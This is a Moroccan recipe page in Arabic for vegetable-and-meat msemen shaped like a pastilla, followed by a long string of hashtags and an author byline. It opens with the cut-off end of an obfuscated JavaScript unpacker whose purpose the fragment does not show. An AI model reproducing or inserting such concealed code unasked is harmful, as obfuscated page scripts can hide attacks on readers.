--> RegExp(_0xaef8[8]+o(a)+_0xaef8[8],_0xaef8[9]),n[a]));return e}(_0xaef8[0],0,234,_0xaef8[3][_0xaef8[2]](_0xaef8[1]),0,{}));
مسمنة بالخضر على شكل بسطيلة

مقادير العجينة 

250 غ دقيق
125 غ دقيق فينو
القليل من الملح 
 نصف ملعقة صغيرة خميرة الحلويات
ماء دافئ


مقادير الحشوة

حبتان بصل مفروم
فلفلتين مقطعة قطع صغيرة جدا 
2 قرع اخضر محكوك 
جزرة محكوك
زيتون اخضر مفروم 
لحم مفروم أو دجاج مفروم 
زيت 
قرفة فلفل اسود + فلفل احمر+كامون+ ملح +هريسة+ خرقوم او كركم









طريقة التحضير

نضع الدقيق الابيض مع الفينو و الملح مع الخميرة و نخلط الكل بالماء الدافئ حتى نحصل على عجين متماسك، نتركها ترتاح لمدة نصف ساعة
لتحضير الحشوة في مقلاة ناخذ البصل و القليل من زيت الزيتون مع الملح و نتركهم فوق نار هادئة  لمدة 5 دقائق ثم نضيف الدجاج مفروم و الجزر و القرع و الفلفل ثم نضيف جميع التوابل المتبقية و نترك الحشوة فوق النار
بعدما تكون العجينة قد ارتاحت نقطعها الى 6 قطع متساوية ونترك واحدة فقط أكبر منهم، نسمن القطعة الاولى اي أكبر واحدة و نضع فوقها القليل من الحشوة و نسمن القطعة الثانية من القطع الستة و نضع كذلك فوقها الحشوة و نستمر بهذا الشكل

الشرح بالصور





بعد ان ننتهي نقوم بجمع العجينة من الاطراف كما هو موضح بالصورة





نقوم بتزيين المسمنة بالعجين المتبقي على هذا الشكل





نخلها الى فرن ساخن 150 درجة حرارة و نترك النار من تحتها بعدها نخرجها و نذهنها باصفر البيض و نرجعها للفرن لكن هذه المرة تكون النار فوقها



بالصحة و الراحة






#حلويات سهلة,#حلويات,#حلويات العيد,#حلويات سهلة وسريعة,#حلويات رمضان,#حلويات سهلة وبسيطة,#حلويات بدون فرن,#حلويات مغربية,#حلوى بدون فرن,#حلويات سهلة التحضير,#حلويات سهل,#حلويات سهله,#حلويات سهلة جدا,#حلويات سريعة,#حلويات تركية,#حلويات سهلة للعيد,#حلويات مغربية,#حلويات العيد,#حلويات سهلة,#حلويات,#حلويات اللوز,#حلويات مغربية باللوز,#حلويات صابلي,#صابلي,#حلوة دواز اتاي,#حلويات مغربية سهلة,#شهيوات مغربية,#حلويات #مغربية عصرية,و#صفات مغربية,#حلويات اللوز المغربية,#حلويات مغربية تقليدية,#حلويات جزائرية,#شهيوات مغربية,#شهيوات,#شهيوات رمضان,#مغربية,حلويات مغربية,#رمضان,#شهيوات مغربية سهلة,#شهيوات رمضان مغربية,#شهيوات مغربية عصرية,#شهيوات سريعة,#مأكولات مغربية,#طبخ,#شهيوات رمضانية,#مقبلات مغربية,#شلاضة مغربية,#سلطات مغربية,و#صفات مغربية,#شهيوات رمضانية مغربية,#شهيوات جزائرية,#حلويات جزائرية,#تليتلي شهيوات جزائرية,#بيتزا جزائرية,#الوصفة الجزائرية,#جزائرية,#شوربة فريك جزائرية,#شهيوات,#شهيوات ليلى,#شهوات أم ملاك و مريم,#حلويات خديجة,#الشرق الجزائري,#التليتلي الجزائري,#بيتزا,#شوربة

Halawiat Sahla
كاتب المقالة
كاتب ومحرر اخبار اعمل في موقع halawiatsahla .

جديد قسم : فطائر

إرسال تعليق